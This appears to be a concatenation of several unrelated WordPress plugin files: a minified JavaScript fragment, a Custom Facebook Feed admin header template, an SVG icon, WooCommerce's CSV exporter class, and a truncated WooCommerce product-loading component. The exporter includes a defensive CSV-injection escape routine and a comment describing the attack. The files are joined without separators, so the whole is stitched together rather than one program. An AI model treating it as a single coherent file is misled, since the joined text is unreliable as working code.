e)e.hasOwnProperty(n)&&(t[n]=e[n]);if(e.overflow)for(var n in e)e.hasOwnProperty(n)&&(t.overflow[n]=e.overflow[n]);return t},scrollLeft:function(e,t){if(w(e)){if(void 0===t)return r(e);window.scrollTo(t,s(e))}else{if(void 0===t)return e.scrollLeft;e.scrollLeft=t}},scrollTop:function(e,t){if(w(e)){if(void 0===t)return s(e);window.scrollTo(r(e),t)}else{if(void 0===t)return e.scrollTop;e.scrollTop=t}},viewportWidth:0,viewportHeight:0},y)},5821:()=>{},7775:()=>{},8410:()=>{},5362:()=>{},1741:()=>{},3298:(e,t,n)=>{"use strict";n.d(t,{qR:()=>r});var o=n(9196);const r=function(e){(0,o.useEffect)(e,[])};"undefined"!=typeof window?o.useLayoutEffect:o.useEffect},3019:(e,t,n)=>{"use strict";n.d(t,{Iq:()=>l});var o=n(2819),r=n(9307),s=(n(2560),n(1765)),i=n(1282);function l(e,t,n={}){const{memo:l=!1}=n;let a=(0,r.forwardRef)(e);l&&(a=(0,r.memo)(a)),void 0===t&&"undefined"!=typeof process&&process.env;let c=a[s.rE]||[t];return Array.isArray(t)&&(c=[...c,...t]),"string"==typeof t&&(c=[...c,t]),a.displayName=t,a[s.rE]=(0,o.uniq)(c),a.selector=`.${(0,i.l)(t)}`,a}}}]);<?php

	/**
	 * CFF Header Notices
	 *
	 * @since 4.0
	 */

	do_action('cff_header_notices');
?>
<div class="cff-fb-header cff-fb-fs" v-if="!iscustomizerScreen">
	<div class="cff-fb-header-left">
		<div class="cff-fb-hd-logo">
			<a href="https://smashballoon.com/custom-facebook-feed/" target="_blank">
				<svg width="151" height="30" viewBox="0 0 183 36" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M45.6081 11.5428C43.766 10.173 42.0183 9.98403 40.9319 9.98403C39.4676 9.98403 38.1451 10.2911 37.035 11.4247C36.0904 12.393 35.6652 13.5739 35.6652 14.9673C35.6652 15.723 35.7833 16.833 36.6099 17.7069C37.224 18.3682 38.0742 18.6988 38.8063 18.9586L40.1053 19.4073C40.554 19.5726 41.5223 19.9269 41.9474 20.2812C42.2781 20.5646 42.4906 20.8952 42.4906 21.4148C42.4906 22.0052 42.2308 22.4303 41.9238 22.6901C41.4042 23.1389 40.743 23.2333 40.2706 23.2333C39.5385 23.2333 38.9008 23.0444 38.2868 22.6665C37.8616 22.4067 37.224 21.8635 36.8225 21.462L34.9331 24.0599C35.5235 24.6504 36.4446 25.3825 37.2476 25.784C38.2395 26.28 39.2314 26.4453 40.3651 26.4453C41.4042 26.4453 43.4353 26.3036 44.8287 24.8393C45.6553 23.9891 46.2222 22.572 46.2222 20.9424C46.2222 20.0214 45.986 18.8877 45.0649 18.0139C44.4509 17.4235 43.6006 17.0692 42.9157 16.8094L41.7349 16.3607C40.6721 15.9592 40.1289 15.8175 39.751 15.4632C39.5149 15.2507 39.3968 14.9673 39.3968 14.5894C39.3968 14.1879 39.5621 13.8336 39.7983 13.5975C40.2234 13.1251 40.8374 13.0543 41.3334 13.0543C41.7821 13.0543 42.7977 13.1251 43.9785 14.1879L45.6081 11.5428Z" fill="#141B38"></path> <path d="M47.729 26.091H51.1299V20.7063C51.1299 20.352 51.1536 19.1712 51.7912 18.5571C52.1219 18.2501 52.5234 18.132 52.9721 18.132C53.3263 18.132 53.7515 18.2028 54.1057 18.5571C54.6253 19.0767 54.6489 19.9033 54.6489 20.6118V26.091H58.0498V20.848C58.0498 20.1631 58.1206 19.3365 58.5694 18.7697C58.8528 18.3918 59.3251 18.132 59.8919 18.132C60.3879 18.132 60.8366 18.3445 61.12 18.6988C61.5688 19.2656 61.5688 20.2103 61.5688 20.7535V26.091H64.9697V19.4309C64.9697 18.6752 64.8988 17.2582 63.8833 16.2898C63.2456 15.6758 62.2064 15.2979 60.9311 15.2979C60.1045 15.2979 59.4196 15.4396 58.6875 15.8884C58.0026 16.3135 57.6011 16.8094 57.3413 17.2345C57.0579 16.5969 56.6091 16.0773 56.0659 15.7703C55.3574 15.3452 54.5308 15.2979 54.0821 15.2979C53.2791 15.2979 52.0038 15.4632 51.1299 16.7858V15.5577H47.729V26.091Z" fill="#141B38"></path> <path d="M75.0016 16.7386C74.0333 15.416 72.5927 15.2035 71.6952 15.2035C70.231 15.2035 68.9556 15.723 68.0345 16.6441C67.0662 17.6124 66.405 19.1239 66.405 20.8952C66.405 22.2886 66.8301 23.6584 67.9401 24.8393C69.0973 26.0674 70.3727 26.4453 71.8842 26.4453C72.758 26.4453 74.0806 26.2327 75.0016 24.8157V26.091H78.4025V15.5577H75.0016V16.7386ZM72.5454 18.132C73.1595 18.132 73.9152 18.3682 74.4348 18.8641C74.9308 19.3365 75.2142 20.045 75.2142 20.8007C75.2142 21.6982 74.8363 22.3595 74.3876 22.7846C73.9389 23.2333 73.3012 23.5167 72.6163 23.5167C71.8133 23.5167 71.0812 23.1861 70.6088 22.6901C70.3018 22.3595 69.9003 21.7454 69.9003 20.8007C69.9003 19.8561 70.3254 19.242 70.6797 18.8877C71.1284 18.439 71.8133 18.132 72.5454 18.132Z" fill="#141B38"></path> <path d="M88.1247 16.1009C87.2745 15.6049 86.1881 15.2035 84.6294 15.2035C83.6611 15.2035 82.3857 15.3924 81.441 16.2662C80.827 16.833 80.4255 17.6833 80.4255 18.6988C80.4255 19.5018 80.6853 20.0922 81.1812 20.6118C81.63 21.0605 82.2676 21.3912 82.8817 21.5801L83.7319 21.8399C84.2279 21.9816 84.5349 22.0761 84.7711 22.2178C85.0781 22.4067 85.1489 22.6429 85.1489 22.8318C85.1489 23.0916 85.0072 23.3514 84.7947 23.5167C84.4877 23.7529 83.9445 23.7529 83.7319 23.7529C83.2832 23.7529 82.7872 23.6584 82.3149 23.4223C81.9606 23.2569 81.4883 22.9263 81.1576 22.6429L79.717 24.9338C81.0868 26.1382 82.6219 26.4453 84.0389 26.4453C85.1489 26.4453 86.4243 26.28 87.4634 25.2408C87.9358 24.7684 88.5498 23.871 88.5498 22.4776C88.5498 21.6746 88.3373 21.0369 87.7232 20.4701C87.18 19.9741 86.566 19.738 85.9755 19.549L85.0781 19.2656C84.653 19.1239 84.2987 19.0531 84.0625 18.9114C83.8972 18.8169 83.7319 18.6752 83.7319 18.439C83.7319 18.2737 83.8264 18.0848 83.9445 17.9667C84.157 17.7541 84.5585 17.6596 84.9128 17.6596C85.5741 17.6596 86.259 17.9431 86.7785 18.2501L88.1247 16.1009Z" fill="#141B38"></path> <path d="M89.9573 26.091H93.3582V20.8244C93.3582 20.3048 93.3818 19.2892 94.0667 18.628C94.2556 18.439 94.6807 18.1084 95.4129 18.1084C95.9088 18.1084 96.4284 18.2737 96.7354 18.5807C97.2786 19.1003 97.3022 19.9505 97.3022 20.6827V26.091H100.703V19.4073C100.703 18.6043 100.632 17.3054 99.664 16.3371C98.7429 15.3924 97.5148 15.2743 96.6882 15.2743C95.9324 15.2743 95.342 15.3452 94.6335 15.723C94.232 15.9356 93.7833 16.2898 93.3582 16.8094V8.87402H89.9573V26.091Z" fill="#141B38"></path> <path d="M107.852 10.3383V26.091H113.78C114.748 26.091 116.637 25.9965 117.936 24.7448C118.55 24.1308 119.164 23.1389 119.164 21.5565C119.164 20.1631 118.668 19.2656 118.149 18.746C117.582 18.1792 116.732 17.8014 115.976 17.6833C116.354 17.5179 116.897 17.1873 117.299 16.526C117.724 15.8411 117.818 15.1326 117.818 14.5185C117.818 13.8336 117.7 12.5111 116.685 11.5428C115.457 10.3855 113.52 10.3383 112.67 10.3383H107.852ZM111.442 13.1724H112.008C112.67 13.1724 113.378 13.1724 113.898 13.5739C114.181 13.7864 114.512 14.2115 114.512 14.8964C114.512 15.5813 114.205 16.0537 113.874 16.2898C113.355 16.6677 112.528 16.7386 112.032 16.7386H111.442V13.1724ZM111.442 19.4309H112.434C113.166 19.4309 114.394 19.4309 115.031 20.0214C115.268 20.2339 115.527 20.659 115.527 21.2967C115.527 21.8635 115.338 22.3122 115.008 22.6193C114.347 23.2333 113.237 23.2569 112.315 23.2569H111.442V19.4309Z" fill="#141B38"></path> <path d="M128.842 16.7386C127.873 15.416 126.433 15.2035 125.535 15.2035C124.071 15.2035 122.796 15.723 121.875 16.6441C120.906 17.6124 120.245 19.1239 120.245 20.8952C120.245 22.2886 120.67 23.6584 121.78 24.8393C122.937 26.0674 124.213 26.4453 125.724 26.4453C126.598 26.4453 127.921 26.2327 128.842 24.8157V26.091H132.243V15.5577H128.842V16.7386ZM126.385 18.132C126.999 18.132 127.755 18.3682 128.275 18.8641C128.771 19.3365 129.054 20.045 129.054 20.8007C129.054 21.6982 128.676 22.3595 128.228 22.7846C127.779 23.2333 127.141 23.5167 126.456 23.5167C125.653 23.5167 124.921 23.1861 124.449 22.6901C124.142 22.3595 123.74 21.7454 123.74 20.8007C123.74 19.8561 124.165 19.242 124.52 18.8877C124.968 18.439 125.653 18.132 126.385 18.132Z" fill="#141B38"></path> <path d="M134.265 8.87402V26.091H137.666V8.87402H134.265Z" fill="#141B38"></path> <path d="M139.784 8.87402V26.091H143.185V8.87402H139.784Z" fill="#141B38"></path> <path d="M157.064 20.8244C157.064 19.4782 156.545 17.9667 155.482 16.9039C154.537 15.9592 152.931 15.2035 150.877 15.2035C148.822 15.2035 147.216 15.9592 146.271 16.9039C145.208 17.9667 144.689 19.4782 144.689 20.8244C144.689 22.1705 145.208 23.6821 146.271 24.7448C147.216 25.6895 148.822 26.4453 150.877 26.4453C152.931 26.4453 154.537 25.6895 155.482 24.7448C156.545 23.6821 157.064 22.1705 157.064 20.8244ZM150.877 18.0848C151.656 18.0848 152.294 18.3445 152.79 18.8405C153.285 19.3365 153.569 19.9741 153.569 20.8244C153.569 21.6746 153.285 22.3122 152.79 22.8082C152.294 23.3042 151.656 23.564 150.9 23.564C150.003 23.564 149.389 23.2333 148.964 22.8082C148.562 22.4067 148.184 21.7927 148.184 20.8244C148.184 19.9741 148.468 19.3365 148.964 18.8405C149.46 18.3445 150.097 18.0848 150.877 18.0848Z" fill="#141B38"></path> <path d="M170.332 20.8244C170.332 19.4782 169.813 17.9667 168.75 16.9039C167.805 15.9592 166.199 15.2035 164.145 15.2035C162.09 15.2035 160.484 15.9592 159.539 16.9039C158.476 17.9667 157.957 19.4782 157.957 20.8244C157.957 22.1705 158.476 23.6821 159.539 24.7448C160.484 25.6895 162.09 26.4453 164.145 26.4453C166.199 26.4453 167.805 25.6895 168.75 24.7448C169.813 23.6821 170.332 22.1705 170.332 20.8244ZM164.145 18.0848C164.924 18.0848 165.562 18.3445 166.058 18.8405C166.554 19.3365 166.837 19.9741 166.837 20.8244C166.837 21.6746 166.554 22.3122 166.058 22.8082C165.562 23.3042 164.924 23.564 164.168 23.564C163.271 23.564 162.657 23.2333 162.232 22.8082C161.83 22.4067 161.452 21.7927 161.452 20.8244C161.452 19.9741 161.736 19.3365 162.232 18.8405C162.728 18.3445 163.365 18.0848 164.145 18.0848Z" fill="#141B38"></path> <path d="M171.745 26.091H175.145V20.6827C175.145 19.9978 175.24 19.242 175.807 18.6752C176.067 18.3918 176.515 18.1084 177.224 18.1084C177.838 18.1084 178.263 18.3209 178.523 18.5807C179.066 19.1239 179.09 19.9978 179.09 20.6827V26.091H182.49V19.4309C182.49 18.5807 182.42 17.329 181.428 16.3371C180.53 15.4396 179.326 15.2743 178.405 15.2743C177.413 15.2743 176.185 15.4869 175.145 16.8094V15.5577H171.745V26.091Z" fill="#141B38"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M27.2235 16.8291C27.2235 7.53469 21.1311 0 13.6131 0C6.09513 0 0 7.53469 0 16.8291C0 25.7393 5.5828 33.0095 12.6525 33.6193L11.9007 36L16.6147 35.599L14.9608 33.5775C21.8439 32.7422 27.2235 25.5639 27.2235 16.8291Z" fill="#FE544F"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M16.8586 5.91699L17.5137 12.6756L24.3006 12.8705L19.3911 17.4354L23.2687 23.044L16.7362 21.816L14.7557 28.3487L11.7488 22.4987L5.67719 25.2808L8.01283 19.0094L2.09131 16.0227L8.43013 13.9841L6.68099 7.73959L12.678 11.1585L16.8586 5.91699Z" fill="white"></path></svg>
			</a>
			<span class="breadcrumb-title">/ {{isSetupPage === 'true' ? genericText.setup : genericText.dashboard}}</span>
		</div>
		<div v-if="cff_builder.pluginsInfo.social_wall.activated" class="sb-social-wall-link-wrap">
			<div v-for="(link, key) in allFeedsScreen.socialWallLinks" class="sb-social-wall-link" v-html="link"></div>
		</div>
	</div>
	<div class="cff-fb-header-right">
		<a class="cff-fb-hd-btn sb-btn-grey sb-button-standard" data-icon="left" :href="supportPageUrl">
			<svg class="sb" width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
				<path d="M8.16797 14.0001H9.83464V12.3334H8.16797V14.0001ZM9.0013 0.666748C4.4013 0.666748 0.667969 4.40008 0.667969 9.00008C0.667969 13.6001 4.4013 17.3334 9.0013 17.3334C13.6013 17.3334 17.3346 13.6001 17.3346 9.00008C17.3346 4.40008 13.6013 0.666748 9.0013 0.666748ZM9.0013 15.6667C5.3263 15.6667 2.33464 12.6751 2.33464 9.00008C2.33464 5.32508 5.3263 2.33341 9.0013 2.33341C12.6763 2.33341 15.668 5.32508 15.668 9.00008C15.668 12.6751 12.6763 15.6667 9.0013 15.6667ZM9.0013 4.00008C7.15964 4.00008 5.66797 5.49175 5.66797 7.33342H7.33464C7.33464 6.41675 8.08464 5.66675 9.0013 5.66675C9.91797 5.66675 10.668 6.41675 10.668 7.33342C10.668 9.00008 8.16797 8.79175 8.16797 11.5001H9.83464C9.83464 9.62508 12.3346 9.41675 12.3346 7.33342C12.3346 5.49175 10.843 4.00008 9.0013 4.00008Z" fill="#141B38"/>
			</svg>
			<span>{{genericText.help}}</span>
		</a>
	</div>
	<div class="sb-loadingbar-ctn" v-if="loadingBar"></div>
</div>
<!--CFF customizer Heading-->
<div class="cff-fb-header cff-csz-header cff-fb-fs" v-if="iscustomizerScreen" v-bind:class="{ 'sb-onboarding-highlight' : viewsActive.onboardingStep === 1 && viewsActive.onboardingCustomizerPopup }">
	<div class="cff-csz-header-insider">
		<button class="cff-fb-hd-btn cff-btn-grey sb-button-standard cff-small-chevron" data-icon="left" @click.prevent.default="JSON.stringify(customizerFeedDataInitial) === JSON.stringify(customizerFeedData) ? window.location = builderUrl : openDialogBox('backAllToFeed')">
			<svg width="6" height="8" viewBox="0 0 6 8" fill="none" xmlns="http://www.w3.org/2000/svg">
				<path d="M5.27203 0.94L4.33203 0L0.332031 4L4.33203 8L5.27203 7.06L2.2187 4L5.27203 0.94Z" fill="#141B38"/>
			</svg>

			<span>{{genericText.backAllFeeds}}</span>
		</button>
		<div class="cff-csz-hd-name" :data-edit="viewsActive.editName">
			<input id="cff-csz-hd-input" v-model="customizerFeedData.feed_info.feed_name" type="text" :style="'width:' + customizerScreens.inputNameWidth + ';'" :onfocus="updateInputWidth()" :onkeypress="updateInputWidth()" @keyup.enter="activateView('editName')">
			<span class="sb-bold sb-standard-p" v-if="!viewsActive['editName']">{{customizerFeedData.feed_info.feed_name}}</span>
			<button v-if="customizerFeedData.feed_info.id !== 'legacy'" class="cff-csz-name-ed-btn" v-html="viewsActive.editName ? svgIcons['checkmarklarge'] : svgIcons['edit']" @click.prevent.default="activateView('editName')"></button>
		</div>

		<div class="cff-csz-hd-actions">
			<a :href="supportPageUrl" class="cff-fb-hd-btn cff-btn-grey sb-button-standard" target="_blank">
					<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
						<path d="M8.16797 14.0001H9.83464V12.3334H8.16797V14.0001ZM9.0013 0.666748C4.4013 0.666748 0.667969 4.40008 0.667969 9.00008C0.667969 13.6001 4.4013 17.3334 9.0013 17.3334C13.6013 17.3334 17.3346 13.6001 17.3346 9.00008C17.3346 4.40008 13.6013 0.666748 9.0013 0.666748ZM9.0013 15.6667C5.3263 15.6667 2.33464 12.6751 2.33464 9.00008C2.33464 5.32508 5.3263 2.33341 9.0013 2.33341C12.6763 2.33341 15.668 5.32508 15.668 9.00008C15.668 12.6751 12.6763 15.6667 9.0013 15.6667ZM9.0013 4.00008C7.15964 4.00008 5.66797 5.49175 5.66797 7.33342H7.33464C7.33464 6.41675 8.08464 5.66675 9.0013 5.66675C9.91797 5.66675 10.668 6.41675 10.668 7.33342C10.668 9.00008 8.16797 8.79175 8.16797 11.5001H9.83464C9.83464 9.62508 12.3346 9.41675 12.3346 7.33342C12.3346 5.49175 10.843 4.00008 9.0013 4.00008Z" fill="#141B38"/>
					</svg>
				<span>{{genericText.help}}</span>
			</a>
			<button v-if="customizerFeedData.feed_info.id !== 'legacy'" class="cff-fb-hd-btn cff-csz-btn-embd cff-btn-dark sb-button-standard" @click.prevent.default="activateView('embedPopup', null, true)">
				<svg width="16" height="12" viewBox="0 0 16 12" fill="none" xmlns="http://www.w3.org/2000/svg">
					<path d="M16 6L12.2287 9.77133L11.286 8.82867L14.1147 6L11.286 3.17133L12.2287 2.22867L16 6ZM1.88533 6L4.714 8.82867L3.77133 9.77133L0 6L3.77133 2.22867L4.71333 3.17133L1.88533 6ZM6.52533 12H5.10667L9.47467 0H10.8933L6.52533 12Z" fill="white"/>
				</svg>
				<span>{{customizeScreensText.common.embed}}</span>
			</button>
			<button class="cff-fb-hd-btn cff-csz-btn-save cff-btn-orange sb-button-standard" @click.prevent.default="saveFeedSettings()">
				<svg width="16" height="12" viewBox="0 0 16 12" fill="none" xmlns="http://www.w3.org/2000/svg">
					<path fill-rule="evenodd" clip-rule="evenodd" d="M6.08058 8.36133L14.0355 0.406383L15.8033 2.17415L6.08058 11.8969L0.777281 6.59357L2.54505 4.8258L6.08058 8.36133Z" fill="white"/>
				</svg>
				<span>{{customizeScreensText.common.save}}</span>
			</button>
		</div>
	</div>
	<div class="sb-loadingbar-ctn" v-if="loadingBar"></div>
</div><svg width="29" height="28" viewBox="0 0 29 28" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect x="0.645508" width="28" height="28" rx="4" fill="#F6F7F7"/>
<rect x="10.729" y="10.0834" width="2.5" height="2.5" rx="1.25" stroke="#8C8F94" stroke-width="1.5"/>
<rect x="16.0625" y="15.4167" width="2.5" height="2.5" rx="1.25" stroke="#8C8F94" stroke-width="1.5"/>
<line x1="10.6455" y1="17.6061" x2="18.2515" y2="10.0001" stroke="#8C8F94" stroke-width="1.5" stroke-linecap="round"/>
</svg>
<?php
/**
 * Handles CSV export.
 *
 * @package  WooCommerce\Export
 * @version  3.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_CSV_Exporter Class.
 */
abstract class WC_CSV_Exporter {

	/**
	 * Type of export used in filter names.
	 *
	 * @var string
	 */
	protected $export_type = '';

	/**
	 * Filename to export to.
	 *
	 * @var string
	 */
	protected $filename = 'wc-export.csv';

	/**
	 * Batch limit.
	 *
	 * @var integer
	 */
	protected $limit = 50;

	/**
	 * Number exported.
	 *
	 * @var integer
	 */
	protected $exported_row_count = 0;

	/**
	 * Raw data to export.
	 *
	 * @var array
	 */
	protected $row_data = array();

	/**
	 * Total rows to export.
	 *
	 * @var integer
	 */
	protected $total_rows = 0;

	/**
	 * Columns ids and names.
	 *
	 * @var array
	 */
	protected $column_names = array();

	/**
	 * List of columns to export, or empty for all.
	 *
	 * @var array
	 */
	protected $columns_to_export = array();

	/**
	 * The delimiter parameter sets the field delimiter (one character only).
	 *
	 * @var string
	 */
	protected $delimiter = ',';

	/**
	 * Prepare data that will be exported.
	 */
	abstract public function prepare_data_to_export();

	/**
	 * Return an array of supported column names and ids.
	 *
	 * @since 3.1.0
	 * @return array
	 */
	public function get_column_names() {
		return apply_filters( "woocommerce_{$this->export_type}_export_column_names", $this->column_names, $this );
	}

	/**
	 * Set column names.
	 *
	 * @since 3.1.0
	 * @param array $column_names Column names array.
	 */
	public function set_column_names( $column_names ) {
		$this->column_names = array();

		foreach ( $column_names as $column_id => $column_name ) {
			$this->column_names[ wc_clean( $column_id ) ] = wc_clean( $column_name );
		}
	}

	/**
	 * Return an array of columns to export.
	 *
	 * @since 3.1.0
	 * @return array
	 */
	public function get_columns_to_export() {
		return $this->columns_to_export;
	}

	/**
	 * Return the delimiter to use in CSV file
	 *
	 * @since 3.9.0
	 * @return string
	 */
	public function get_delimiter() {
		return apply_filters( "woocommerce_{$this->export_type}_export_delimiter", $this->delimiter );
	}

	/**
	 * Set columns to export.
	 *
	 * @since 3.1.0
	 * @param array $columns Columns array.
	 */
	public function set_columns_to_export( $columns ) {
		$this->columns_to_export = array_map( 'wc_clean', $columns );
	}

	/**
	 * See if a column is to be exported or not.
	 *
	 * @since 3.1.0
	 * @param  string $column_id ID of the column being exported.
	 * @return boolean
	 */
	public function is_column_exporting( $column_id ) {
		$column_id         = strstr( $column_id, ':' ) ? current( explode( ':', $column_id ) ) : $column_id;
		$columns_to_export = $this->get_columns_to_export();

		if ( empty( $columns_to_export ) ) {
			return true;
		}

		if ( in_array( $column_id, $columns_to_export, true ) || 'meta' === $column_id ) {
			return true;
		}

		return false;
	}

	/**
	 * Return default columns.
	 *
	 * @since 3.1.0
	 * @return array
	 */
	public function get_default_column_names() {
		return array();
	}

	/**
	 * Do the export.
	 *
	 * @since 3.1.0
	 */
	public function export() {
		$this->prepare_data_to_export();
		$this->send_headers();
		$this->send_content( chr( 239 ) . chr( 187 ) . chr( 191 ) . $this->export_column_headers() . $this->get_csv_data() );
		die();
	}

	/**
	 * Set the export headers.
	 *
	 * @since 3.1.0
	 */
	public function send_headers() {
		if ( function_exists( 'gc_enable' ) ) {
			gc_enable(); // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.gc_enableFound
		}
		if ( function_exists( 'apache_setenv' ) ) {
			@apache_setenv( 'no-gzip', 1 ); // @codingStandardsIgnoreLine
		}
		@ini_set( 'zlib.output_compression', 'Off' ); // @codingStandardsIgnoreLine
		@ini_set( 'output_buffering', 'Off' ); // @codingStandardsIgnoreLine
		@ini_set( 'output_handler', '' ); // @codingStandardsIgnoreLine
		ignore_user_abort( true );
		wc_set_time_limit( 0 );
		wc_nocache_headers();
		header( 'Content-Type: text/csv; charset=utf-8' );
		header( 'Content-Disposition: attachment; filename=' . $this->get_filename() );
		header( 'Pragma: no-cache' );
		header( 'Expires: 0' );
	}

	/**
	 * Set filename to export to.
	 *
	 * @param  string $filename Filename to export to.
	 */
	public function set_filename( $filename ) {
		$this->filename = sanitize_file_name( str_replace( '.csv', '', $filename ) . '.csv' );
	}

	/**
	 * Generate and return a filename.
	 *
	 * @return string
	 */
	public function get_filename() {
		return sanitize_file_name( apply_filters( "woocommerce_{$this->export_type}_export_get_filename", $this->filename ) );
	}

	/**
	 * Set the export content.
	 *
	 * @since 3.1.0
	 * @param string $csv_data All CSV content.
	 */
	public function send_content( $csv_data ) {
		echo $csv_data; // @codingStandardsIgnoreLine
	}

	/**
	 * Get CSV data for this export.
	 *
	 * @since 3.1.0
	 * @return string
	 */
	protected function get_csv_data() {
		return $this->export_rows();
	}

	/**
	 * Export column headers in CSV format.
	 *
	 * @since 3.1.0
	 * @return string
	 */
	protected function export_column_headers() {
		$columns    = $this->get_column_names();
		$export_row = array();
		$buffer     = fopen( 'php://output', 'w' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen
		ob_start();

		foreach ( $columns as $column_id => $column_name ) {
			if ( ! $this->is_column_exporting( $column_id ) ) {
				continue;
			}
			$export_row[] = $this->format_data( $column_name );
		}

		$this->fputcsv( $buffer, $export_row );

		return ob_get_clean();
	}

	/**
	 * Get data that will be exported.
	 *
	 * @since 3.1.0
	 * @return array
	 */
	protected function get_data_to_export() {
		return $this->row_data;
	}

	/**
	 * Export rows in CSV format.
	 *
	 * @since 3.1.0
	 * @return string
	 */
	protected function export_rows() {
		$data   = $this->get_data_to_export();
		$buffer = fopen( 'php://output', 'w' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen
		ob_start();

		array_walk( $data, array( $this, 'export_row' ), $buffer );

		return apply_filters( "woocommerce_{$this->export_type}_export_rows", ob_get_clean(), $this );
	}

	/**
	 * Export rows to an array ready for the CSV.
	 *
	 * @since 3.1.0
	 * @param array    $row_data Data to export.
	 * @param string   $key Column being exported.
	 * @param resource $buffer Output buffer.
	 */
	protected function export_row( $row_data, $key, $buffer ) {
		$columns    = $this->get_column_names();
		$export_row = array();

		foreach ( $columns as $column_id => $column_name ) {
			if ( ! $this->is_column_exporting( $column_id ) ) {
				continue;
			}
			if ( isset( $row_data[ $column_id ] ) ) {
				$export_row[] = $this->format_data( $row_data[ $column_id ] );
			} else {
				$export_row[] = '';
			}
		}

		$this->fputcsv( $buffer, $export_row );

		++ $this->exported_row_count;
	}

	/**
	 * Get batch limit.
	 *
	 * @since 3.1.0
	 * @return int
	 */
	public function get_limit() {
		return apply_filters( "woocommerce_{$this->export_type}_export_batch_limit", $this->limit, $this );
	}

	/**
	 * Set batch limit.
	 *
	 * @since 3.1.0
	 * @param int $limit Limit to export.
	 */
	public function set_limit( $limit ) {
		$this->limit = absint( $limit );
	}

	/**
	 * Get count of records exported.
	 *
	 * @since 3.1.0
	 * @return int
	 */
	public function get_total_exported() {
		return $this->exported_row_count;
	}

	/**
	 * Escape a string to be used in a CSV context
	 *
	 * Malicious input can inject formulas into CSV files, opening up the possibility
	 * for phishing attacks and disclosure of sensitive information.
	 *
	 * Additionally, Excel exposes the ability to launch arbitrary commands through
	 * the DDE protocol.
	 *
	 * @see https://owasp.org/www-community/attacks/CSV_Injection
	 * @see https://hackerone.com/reports/72785
	 *
	 * @since 3.1.0
	 * @param string $data CSV field to escape.
	 * @return string
	 */
	public function escape_data( $data ) {
		// 0x09: Tab (\t)
		// 0x0d: Carriage Return (\r)
		$active_content_triggers = array( '=', '+', '-', '@', chr( 0x09 ), chr( 0x0d ) );

		if ( in_array( mb_substr( $data, 0, 1 ), $active_content_triggers, true ) ) {
			$data = "'" . $data;
		}

		return $data;
	}

	/**
	 * Format and escape data ready for the CSV file.
	 *
	 * @since 3.1.0
	 * @param  string $data Data to format.
	 * @return string
	 */
	public function format_data( $data ) {
		if ( ! is_scalar( $data ) ) {
			if ( is_a( $data, 'WC_Datetime' ) ) {
				$data = $data->date( 'Y-m-d G:i:s' );
			} else {
				$data = ''; // Not supported.
			}
		} elseif ( is_bool( $data ) ) {
			$data = $data ? 1 : 0;
		}

		$use_mb = function_exists( 'mb_convert_encoding' );

		if ( $use_mb ) {
			$is_valid_utf_8 = mb_check_encoding( $data, 'UTF-8' );
			if ( ! $is_valid_utf_8 ) {
				$data = mb_convert_encoding( $data, 'UTF-8', 'ISO-8859-1' );
			}
		}

		return $this->escape_data( $data );
	}

	/**
	 * Format term ids to names.
	 *
	 * @since 3.1.0
	 * @param  array  $term_ids Term IDs to format.
	 * @param  string $taxonomy Taxonomy name.
	 * @return string
	 */
	public function format_term_ids( $term_ids, $taxonomy ) {
		$term_ids = wp_parse_id_list( $term_ids );

		if ( ! count( $term_ids ) ) {
			return '';
		}

		$formatted_terms = array();

		if ( is_taxonomy_hierarchical( $taxonomy ) ) {
			foreach ( $term_ids as $term_id ) {
				$formatted_term = array();
				$ancestor_ids   = array_reverse( get_ancestors( $term_id, $taxonomy ) );

				foreach ( $ancestor_ids as $ancestor_id ) {
					$term = get_term( $ancestor_id, $taxonomy );
					if ( $term && ! is_wp_error( $term ) ) {
						$formatted_term[] = $term->name;
					}
				}

				$term = get_term( $term_id, $taxonomy );

				if ( $term && ! is_wp_error( $term ) ) {
					$formatted_term[] = $term->name;
				}

				$formatted_terms[] = implode( ' > ', $formatted_term );
			}
		} else {
			foreach ( $term_ids as $term_id ) {
				$term = get_term( $term_id, $taxonomy );

				if ( $term && ! is_wp_error( $term ) ) {
					$formatted_terms[] = $term->name;
				}
			}
		}

		return $this->implode_values( $formatted_terms );
	}

	/**
	 * Implode CSV cell values using commas by default, and wrapping values
	 * which contain the separator.
	 *
	 * @since  3.2.0
	 * @param  array $values Values to implode.
	 * @return string
	 */
	protected function implode_values( $values ) {
		$values_to_implode = array();

		foreach ( $values as $value ) {
			$value               = (string) is_scalar( $value ) ? html_entity_decode( $value, ENT_QUOTES ) : '';
			$values_to_implode[] = str_replace( ',', '\\,', $value );
		}

		return implode( ', ', $values_to_implode );
	}

	/**
	 * Write to the CSV file.
	 *
	 * @since 3.4.0
	 * @param resource $buffer Resource we are writing to.
	 * @param array    $export_row Row to export.
	 */
	protected function fputcsv( $buffer, $export_row ) {
		fputcsv( $buffer, $export_row, $this->get_delimiter(), '"', "\0" ); // @codingStandardsIgnoreLine
	}
}
/**
 * External dependencies
 */
import { Component } from '@wordpress/element';
import { createHigherOrderComponent } from '@wordpress/compose';
import { getProduct } from '@woocommerce/editor-components/utils';

/**
 * Internal dependencies
 */
import { formatError } from '../base/utils/errors.js';

/**
 * HOC that queries a product for a component.
 *
 * @param {Function} OriginalComponent Component being wrapped.
 */
const withProduct = createHigherOrderComponent( ( OriginalComponent ) => {
	return class WrappedComponent extends Component {
		state = {
			error: null,
			loading: false,
			product:
				this.props.attributes.productId === 'preview'
					? this.props.attributes.previewProduct
					: null,
		};

		componentDidMount() {
			this.loadProduct();
		}

		componentDidUpdate( prevProps ) {
			if (
				prevProps.attributes.productId !==
				this.props.attributes.productId
			) {
				this.loadProduct();
			}
		}

		loadProduct = () => {
			const { productId } = this.props.attributes;

			if ( productId === 'preview' ) {
				return;
			}

			if ( ! productId ) {
				this.setState( { product: null, loading: false, error: null } );
				return;
			}

			this.setState( { loading: true } );

			getProduct( productId )
				.then( ( product ) => {
					this.setState( { product, loading: false, error: null } );
				} )
				.catch( async ( e ) => {
					const error = await formatError( e );

